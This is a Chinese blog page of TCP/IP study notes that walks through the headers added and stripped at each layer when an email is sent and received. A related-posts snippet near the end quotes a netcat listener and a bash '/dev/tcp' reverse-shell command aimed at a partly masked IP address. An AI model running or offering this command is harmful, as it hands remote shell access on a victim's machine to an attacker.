"一位如蝴蝶般美丽的女子向我飞来,翩翩的舞姿如同云端轻盈的叶儿。"

----------------------------------------------------------------------------------------------------------

数据包首部:

每个分层都会对自己发送的数据附加一个首部,首部中包含了发送的目标地址等信息。  从上一层收到的包全部被当做本层的数据。

电子邮件发送例子:

1 应用程序处理(应用层):

启动邮件程序,写好邮件,点击发送按钮,就开始TCP/IP通信了。 首先,程序会进行编码处理,例如使用UTF-8编码,(相当于OSI的表示层功能)。  转换完成后,不一定马上发送,因为有些软件有一次发送多个邮件的功能,,像这种何时建立通信连接已发送的管理功能,在一定意义上属于OSI参考模型中会话层的功能。

2 TCP模块的处理(传输层):

TCP根据应用的指示,建立连接,发送数据,断开连接。 该层在应用层传送来的数据前端附加TCP首部, 首部中包括 源端口号 和 目标端口号(用以识别发送主机和接受主机上的应用程序)、数据包的序号、校验和。

最终将加了首部的包发送给IP.

3 IP模块处理(互联网层)

该层将TCP传过来的TCP首部和数据结合起来作为自己的数据,并在TCP首部前加上自己的首部。

IP首部中包含接收端IP地址,发送端IP地址,以及用以标志其数据是TCP还是UDP的信息。

IP包生成后,参考路由控制表决定接受此IP包的路由或主机。--------??。 随后,IP包被发送给连接这些路由器或主机网络接口的驱动程序。

如果尚不知道接收端的MAC地址,可以利用ARP(address resolution protocol)查找,-----??。只要知道了对端的MAC地址,就可以将MAC地址和IP地址交给以太网的驱动程序,实现数据传输。

3 网络接口(以太网驱动)的处理

该层在IP模块传过来的数据前端加上以太网首部,包含 接收端的MAC地址,发送端MAC地址,以及 标志以太网类型的数据。  然后,通过 物理层 发送给接收端,


总结:

每个包首部中至少会包含两个信息:上一层(高层)的协议类型, 发送和接受端地址。 对于发送和接受的地址,以太网用的是MAC地址,IP用IP地址,TCP/UDP会使用端口号。在应用程序层,像电子邮件地址也是一种地址标志。

电子邮件接收:(逆过程)

1 网络接口(以太网驱动)的处理:

主机收到以太网包后,首先查看包头的MAC地址,判断是否是发给自己的包,不是则丢。 如果属于自己,查爆头中的以太网类型,如果是IP类型,则传送给IP处理子程序,如果是ARP协议,传送给ARP处理。

2IP模块的处理

IP模块接收到IP包以及后面的数据部分后,做类似的处理。如果首部指示的上层协议类型是TCP/UDP,则就将IP包头后面的数据部分传递给TCP/UDP处理。

对于有路由器的情况下,接收端地址经常不是自己的,此时需要借助路由控制表,查找到应该送达的主机或路由器之后,在转发数据。--说得是路由器吧?

2 TCP模块的处理

TCP模块首先会计算校验和,判断数据是否被破坏。会检查端口号,来决定将数据给哪个应用程序。    接收完毕后,会发送一个确认回执给发送端,如果发送端没有收到会一直发。

3 应用程序的处理

应用端接收到之后,通过数据解析可以获知邮件的收件人地址,如果该主机上有此地址则会正常收到,否则发送一个“无此地址”的回馈。

卡内基梅陇大学 --- 计算机界的翘楚

Ref:

《图解TCP/IP》--竹下隆史

TCP/IP学习笔记7--TCP/IP模型通信例子学习的更多相关文章

  1. IP地址和子网划分学习笔记之《IP地址详解》

    2018-05-03 18:47:37   在学习IP地址和子网划分前,必须对进制计数有一定了解,尤其是二进制和十进制之间的相互转换,对于我们掌握IP地址和子网的划分非常有帮助,可参看如下目录详文. ...

  2. ArcGIS案例学习笔记-批量裁剪地理模型

    ArcGIS案例学习笔记-批量裁剪地理模型 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 功能:空间数据的批量裁剪 优点:1.批量裁剪:任意多个目标数据,去裁剪任意 ...

  3. Java学习笔记之---单例模型

    Java学习笔记之---单例模型 单例模型分为:饿汉式,懒汉式 (一)要点 1.某个类只能有一个实例 2.必须自行创建实例 3.必须自行向整个系统提供这个实例 (二)实现 1.只提供私有的构造方法 2 ...

  4. WebGL three.js学习笔记 加载外部模型以及Tween.js动画

    WebGL three.js学习笔记 加载外部模型以及Tween.js动画 本文的程序实现了加载外部stl格式的模型,以及学习了如何把加载的模型变为一个粒子系统,并使用Tween.js对该粒子系统进行 ...

  5. Vue学习笔记-Django REST framework3后端接口API学习

    一  使用环境 开发系统: windows 后端IDE: PyCharm 前端IDE: VSCode 数据库: msyql,navicat 编程语言: python3.7  (Windows x86- ...

  6. UFLDL深度学习笔记 (三)无监督特征学习

    UFLDL深度学习笔记 (三)无监督特征学习 1. 主题思路 "UFLDL 无监督特征学习"本节全称为自我学习与无监督特征学习,和前一节softmax回归很类似,所以本篇笔记会比较 ...

  7. Python Web学习笔记之TCP/IP协议原理与介绍

    HTTP.FTP.SMTP.Telnet等等协议,哦!那个HTTP协议啊就是访问网页用的那个协议啊然后那个······其实······你懂得,我们应该从实际来了解他,理解网络协议的作用与功能,然后再从 ...

  8. TCP/IP详解学习笔记(9)-TCP协议概述

    终于看到了TCP协议,这是TCP/IP详解里面最重要也是最精彩的部分,要花大力气来读.前面的TFTP和BOOTP都是一些简单的协议,就不写笔记了,写起来也没啥东西. TCP和UDP处在同一层---运输 ...

  9. TCP/IP学习笔记:TCP传输控制协议(一)

    1 TCP的服务 尽管TCP和UDP都使用相同的网络层(IP),TCP却向用户提供一种面向连接的,可靠地字节流服务.两个使用TCP的应用,在彼此交换数据之前必须先建立一个TCP连接,在一个TCP连接中 ...

随机推荐

  1. 怎么样在vue-cli的项目里面引入element ui

    第一步:先进入到项目里面 npm i element-ui -S 第二步: import Vue from 'vue'; import ElementUI from 'element-ui'; //这 ...

  2. 数据结构Java版之邻接表实现图(十)

    邻接表实现图,实际上是在一个数组里面存放链表,链表存放的是连接当前节点的其他节点. package mygraph; import java.util.ArrayList; import java.u ...

  3. arts 打卡12周

    一 算法:  字符串转换整数 (atoi)   请你来实现一个 atoi 函数,使其能将字符串转换成整数. 首先,该函数会根据需要丢弃无用的开头空格字符,直到寻找到第一个非空格的字符为止. 当我们寻找 ...

  4. #C++初学记录(A==B?##高精度)

    Problem Description Give you two numbers A and B, if A is equal to B, you should print "YES&quo ...

  5. 在java的Map集合中,怎样更改value的值

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/chenyao1994/article/de ...

  6. tomcat启动startup.bat一闪而过(分析与解答)

    tomcat启动startup.bat一闪而过(分析与解答) 方法/步骤     在正确配置Tomcat环境变量后,遇到很多次运行startup.bat后,一个窗口一闪而过的.为了分析导致tomcat ...

  7. Ubuntu -- 反射shell nc

    攻击机: apt-get install netcat nc -lvvp 80 受害机: /bin/bash -i >& /dev/tcp/139.xxx.18.xx/80 0>& ...

  8. Spring Boot核心原理

    Spring Boot核心原理 spring-boot-starter-xxx  方便开发和配置 1.没有depoy setup tomcat 2.xml文件里面的没有没有了 @SpringBootA ...

  9. Tosca : 扩展dll动态语言 识别点击下拉, 识别成table

    放到这 配置 重启 tosca  command

  10. Tosca user space 这是自己的空间,可以create module ,test case 等一大堆模块,五脏俱全